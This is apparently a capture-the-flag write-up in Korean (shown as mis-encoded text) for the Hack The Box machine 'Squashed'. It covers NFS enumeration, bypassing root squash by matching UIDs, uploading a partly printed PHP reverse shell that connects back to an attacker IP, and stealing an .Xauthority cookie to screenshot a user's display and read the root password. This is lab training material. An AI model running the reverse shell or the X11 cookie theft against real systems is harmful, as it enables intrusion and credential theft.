[Hack The Box] Squashed ํ์ด
๐ก Hack-The-Box Squashed ํ์ด ์ ๋๋ค.
๋ฌธ์
Enumeration
โโโ(kaliใฟkali)-[~/Desktop]
โโ$ nmap -sVC -p - 10.129.86.233 --min-rate 1000 -vv
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-10 10:25 EST
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| .. skip
|
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl syn-ack 3 (RPC #100227)
5089/tcp filtered unknown no-response
27249/tcp filtered unknown no-response
39825/tcp open mountd syn-ack 1-3 (RPC #100005)
42647/tcp open nlockmgr syn-ack 1-4 (RPC #100021)
49236/tcp filtered unknown no-response
51659/tcp open mountd syn-ack 1-3 (RPC #100005)
53596/tcp filtered unknown no-response
59311/tcp open mountd syn-ack 1-3 (RPC #100005)
64476/tcp filtered unknown no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 85.90 seconds
์ฃผ์ํ๊ฒ ๋ณผ ์๋น์ค๋ http(80), NFS(2049) ํฌํธ ์ ๋๋ค.
HTTP
์ฌ์ดํธ ์์ฒด์ ์ดํด๋ณผ ํฌ์ธํธ๊ฐ ๋ฑํ ๋ณด์ด์ง๊ฐ ์์ต๋๋ค. gobuster ๋ฅผ ์ฌ์ฉํ์ฌ ์จ๊ฒจ์ง ํ์ด์ง๊ฐ ์๋์ง ํ์ธํด ๋ด ๋๋ค.
โโโ(rootใฟkali)-[/home/kali/Desktop]
โโ gobuster dir -u http://10.129.86.233/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.86.233/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/02/10 11:05:37 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/css (Status: 301) [Size: 312] [--> http://10.129.86.233/css/]
/images (Status: 301) [Size: 315] [--> http://10.129.86.233/images/]
/index.html (Status: 200) [Size: 32532]
/js (Status: 301) [Size: 311] [--> http://10.129.86.233/js/]
/server-status (Status: 403) [Size: 278]
===============================================================
2023/02/10 11:06:14 Finished
===============================================================
์ดํด๋ณผ ์ง์ ์ /server-status ํ์ด์ง๊ฐ 403 Forbidden ์ด๋ผ๋ ์ ๋ง๊ณ ๋ ํน๋ณํ ๊ฒฐ๊ณผ๊ฐ ๋์ค์ง ์์์ต๋๋ค.
NFS
โโโ(kaliใฟkali)-[~/Desktop]
โโ$ showmount -a 10.129.86.233
All mount points on 10.129.86.233:
โโโ(kaliใฟkali)-[~/Desktop]
โโ$ showmount -e 10.129.86.233
Export list for 10.129.86.233:
/home/ross *
/var/www/html *
/home/ross
, /var/www/html
๋๋ ํฐ๋ฆฌ 2๊ฐ๊ฐ export ๋์ด์๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค. NFS ํ์ผ์์คํ
์ผ๋ก ๋ง์ดํธ ํ ๋ค, ๊ทธ ๊ตฌ์กฐ๋ฅผ ์ดํด๋ด
๋๋ค.
mkdir -p mnt/ross
mkdir -p mnt/html
cd mnt
mount -t 10.129.86.233:/home/ross ross
mount -t 10.129.86.233:/var/www/html html
๋ง์ดํธ ํ๊ณ ๊ทธ ๊ตฌ์กฐ๋ฅผ ์ดํด๋ณด๋ฉด ๊ฐ๊ฐ์ ๋๋ ํฐ๋ฆฌ์ ๊ถํ์ด uid 2017, uid 1001๋ก ๋์ด ์์ต๋๋ค.
โโโ(rootใฟkali)-[/home/kali/Desktop/mnt]
โโls -al
total 16
drwxr-xr-x 4 root root 4096 Feb 10 11:21 .
drwxr-xr-x 11 kali kali 4096 Feb 10 11:19 ..
drwxr-xr-- 5 2017 www-data 4096 Feb 10 11:20 html
drwxr-xr-x 14 1001 1001 4096 Feb 10 10:20 ross
NFS ์๋น์ค ํน์ฑ์ root squashed๊ฐ ๋์ด์์ ํ๋ฅ ์ด ํฌ๊ธฐ ๋๋ฌธ์ ์ต๋ ๊ถํ์ ์ป๊ธฐ ์ํด์ ๊ฐ๊ฐ uid 2017, uid 1001์ ์ฌ์ฉ์๋ฅผ ๋ง๋ค์ด์ ํ์ผ์ ์ ๊ทผ์ ์๋ํฉ๋๋ค.
useradd -u 1001 user1001
useradd -u 2017 user2017
๋จผ์ user2017์ ๊ถํ์ผ๋ก ์ ๊ทผํ์ฌ /var/www/htmlํด๋์ ๊ตฌ์กฐ๋ฅผ ํ์ธํฉ๋๋ค.
user2017@kali:/home/kali/Desktop/mnt/html$ tree
.
โโโ css
โย ย โโโ animate.min.css
โย ย โโโ bootstrap.css
โย ย โโโ bootstrap.css.map
โย ย โโโ bootstrap-grid.css
โย ย โโโ bootstrap-grid.css.map
โย ย โโโ bootstrap-grid.min.css
โย ย โโโ bootstrap-grid.min.css.map
โย ย โโโ bootstrap.min.css
โย ย โโโ bootstrap.min.css.map
โย ย โโโ bootstrap-reboot.css
โย ย โโโ bootstrap-reboot.css.map
โย ย โโโ bootstrap-reboot.min.css
โย ย โโโ bootstrap-reboot.min.css.map
โย ย โโโ default-skin.css
โย ย โโโ font-awesome.min.css
โย ย โโโ icomoon.css
โย ย โโโ jquery.fancybox.min.css
โย ย โโโ jquery.mCustomScrollbar.min.css
โย ย โโโ jquery-ui.css
โย ย โโโ meanmenu.css
โย ย โโโ nice-select.css
โย ย โโโ normalize.css
โย ย โโโ owl.carousel.min.css
โย ย โโโ responsive.css
โย ย โโโ slick.css
โย ย โโโ style.css
โโโ images
โย ย โโโ banner-bg.png
โย ย โโโ bg-1.png
โย ย โโโ contact-bg.png
โย ย โโโ fb-icon.png
โย ย โโโ footer-logo.png
โย ย โโโ header-bg.png
โย ย โโโ icon-1.png
โย ย โโโ icon-2.png
โย ย โโโ icon-3.png
โย ย โโโ icon-4.png
โย ย โโโ img-1.png
โย ย โโโ img-2.png
โย ย โโโ img-3.png
โย ย โโโ img-4.png
โย ย โโโ img-5.png
โย ย โโโ img-6.png
โย ย โโโ img-7.png
โย ย โโโ img-8.png
โย ย โโโ img-9.png
โย ย โโโ instagram-icon.png
โย ย โโโ left-arrow.png
โย ย โโโ linkedin-icon.png
โย ย โโโ logo.png
โย ย โโโ quote-icon.png
โย ย โโโ right-arrow.png
โย ย โโโ search-icon.png
โย ย โโโ twitter-icon.png
โโโ index.html
โโโ js
โโโ bootstrap.bundle.min.js
โโโ custom.js
โโโ jquery-3.0.0.min.js
โโโ jquery.mCustomScrollbar.concat.min.js
โโโ jquery.min.js
โโโ plugin.js
โโโ popper.min.js
์น์ฌ์ดํธ ํด๋๋ก ํ์ธ์ด ๋ฉ๋๋ค. ๋ฐ๋ผ์ ํด๋น ํด๋์ ์ฐ๊ธฐ ๊ถํ์ด ์์ผ๋ฏ๋ก ์น์์ ์ ๋ก๋ ํ๋ฉด ์ผ๋ฐ์ฌ์ฉ์ ์์ ํ๋ ๊ฐ๋ฅํฉ๋๋ค.
์น์์ ๊นํ๋ธ์ ์๋ ํ์ด๋ก๋๋ฅผ ์ฐธ๊ณ ํ์์ต๋๋ค.
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.48'; // Kali linux IP
$port = 4444; // Listening Port
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
.. ์๋ต
์ด๋ ๊ฒ ํ์ฌ ์ผ๋ฐ์ฌ์ฉ์ ๊ถํ ํ๋์ด ๊ฐ๋ฅํฉ๋๋ค.
๊ทธ ๋ค์์ผ๋ก root ๊ถํ์ ์ํ ๊ถํ ์์น์ด ํ์ํฉ๋๋ค.
์๊น mount ํ๊ณ ์ดํด๋ณด์ง ์์๋ /home/ross ํ์ผ์ ์ดํด๋ด ๋๋ค.
$ cd ross
$ tree
.
โโโ Desktop
โโโ Documents
โย ย โโโ Passwords.kdbx
โโโ Downloads
โโโ Music
โโโ Pictures
โโโ Public
โโโ Templates
โโโ Videos
tree์ ๊ฒฐ๊ณผ๋ก ๋ณด๋ฉด Passwords.kdbx
ํ์ผ์ด ์กด์ฌํฉ๋๋ค. ํคํจ์ค ๋ผ๋ ์ํํธ์จ์ด์์ ์ฌ์ฉํ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์ผ๋ก ๋ณด์
๋๋ค. ๊ตฌ๊ธ๋ง ๊ฒฐ๊ณผ johntheripper๋ฅผ ํตํด์ ํฌ๋ํน ์๋๊ฐ ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ๋ณด์ฌ์ ์๋ํด ๋ณด์์ต๋๋ค.
$ keepass2john Passwords.kdbx >> Keepasshash.txt
Passwords.kdbx : File version '40000' is currently not supported!
ํด๋น ๋ฉ์์ง ๋ด์ฉ์ ๊ตฌ๊ธ๋ง ํด๋ณด๋, ํ์ฌ johntheripper๋ keepass 3.1๊น์ง๋ง ์ง์ํ์ฌ ํฌ๋ํน ์๋๊ฐ ๋ถ๊ฐ๋ฅ ํ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค.
$ ls -al
total 68
drwxr-xr-x 14 user1001 user1001 4096 Feb 10 10:20 .
drwxr-xr-x 4 root root 4096 Feb 10 11:21 ..
lrwxrwxrwx 1 root root 9 Oct 20 09:24 .bash_history -> /dev/null
drwx------ 11 user1001 user1001 4096 Oct 21 10:57 .cache
drwx------ 12 user1001 user1001 4096 Oct 21 10:57 .config
drwxr-xr-x 2 user1001 user1001 4096 Oct 21 10:57 Desktop
drwxr-xr-x 2 user1001 user1001 4096 Oct 21 10:57 Documents
drwxr-xr-x 2 user1001 user1001 4096 Oct 21 10:57 Downloads
drwx------ 3 user1001 user1001 4096 Oct 21 10:57 .gnupg
drwx------ 3 user1001 user1001 4096 Oct 21 10:57 .local
drwxr-xr-x 2 user1001 user1001 4096 Oct 21 10:57 Music
drwxr-xr-x 2 user1001 user1001 4096 Oct 21 10:57 Pictures
drwxr-xr-x 2 user1001 user1001 4096 Oct 21 10:57 Public
drwxr-xr-x 2 user1001 user1001 4096 Oct 21 10:57 Templates
drwxr-xr-x 2 user1001 user1001 4096 Oct 21 10:57 Videos
lrwxrwxrwx 1 root root 9 Oct 21 09:07 .viminfo -> /dev/null
-rw------- 1 user1001 user1001 57 Feb 10 10:20 .Xauthority
-rw------- 1 user1001 user1001 2475 Feb 10 10:20 .xsession-errors
-rw------- 1 user1001 user1001 2475 Dec 27 10:33 .xsession-errors.old
๋ค์ ๋ค๋ฅธ ์ ๊ทผ๋ฒ์ ์ฐพ์๋ณด๋, .Xauthority ํ์ผ์ด ๋์ ๋๋๋ค. X11์ ์ด์ฉํ๋ฉด ์๊ฒฉ ๋์คํ๋ ์ด์ ์ ๊ทผ์ด ๊ฐ๋ฅํฉ๋๋ค. ๋ฐ๋ผ์ ์ด๋ฅผ ์ด์ฉํ์ฌ ์ ๊ทผ ๊ฐ๋ฅํ ๋์คํ๋ ์ด์ ์ ๊ทผ์ ์๋ํด ๋ด ๋๋ค.
์ฐ์ ํ์ฌ /home/ross ํด๋์์์ .Xauthority ํ์ผ์ด๋ฏ๋ก ross ๊ณ์ ์ด ์ ์ํ์ฌ ์๊ณ , X์๋์ฐ ํ๊ฒฝ์ผ๋ก ํ๋ฉด์ ๋ณด๊ณ ์๋ค๋ฉด ์ด ํ์ผ์ ํตํด์ ํด๋น ๊ณ์ ์ ๋์คํ๋ ์ด๋ก ์ ๊ทผ์ด ๊ฐ๋ฅํฉ๋๋ค.
ํ๋ํ ์์์ w ๋ช ๋ น์ด๋ก ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ross ๊ณ์ ์ด ์ ์ํ์ฌ ์์์ ์ ์ ์์ต๋๋ค.
๋ค์์ ๊ณผ์ ์ ํตํด์ .Xauthority ์ธ์ฆ์ ํ๊ณ , ํ๋ฉด ์ ๋ณด๋ฅผ ์ฝ์ด์ฌ ์ ์์ต๋๋ค.
# in kali machine
$ cat .Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDdylLf287BoiIFuDv67apd
# in target machine
$ echo "AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABDdylLf287BoiIFuDv67apd" | base64 -d > /tmp/.Xauthority
$ export XAUTHORITY=/tmp/.Xauthority
$ xwd -root -display :0 > /tmp/screen.xwd
# root: select root window
# display: specify server to connect to
0๋ฒ ๋์คํ๋ ์ด ํ๋ฉด์ด screen.xwd
ํ์ผ๋ก ์ ์ฅ์ด ๋ฉ๋๋ค.
ํด๋น ํ์ผ์ ์นผ๋ฆฌ๋ฆฌ๋
์ค๋ก ์ฎ๊ฒจ ์จ๋ค, convert
๋ช
๋ น์ด๋ก png ํ์ผ๋ก ๋ณํํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์บก์ณ๋ ํ๋ฉด์ ๋ณผ ์ ์์ต๋๋ค.
convert screen.xwd screen.png
ํ๋ฉด์ ๋ด์ฉ์ keepass ํ๋ก๊ทธ๋จ์ ํตํด์ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ด๋ฆฌํ๋ ํ๋ฉด์ด๊ณ , ํด๋นํ๋ฉด์ ํตํด์ root ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ํ๋ํ๋ ์๋๋ฆฌ์ค ์ ๋๋ค.
๋๊ธ๋จ๊ธฐ๊ธฐ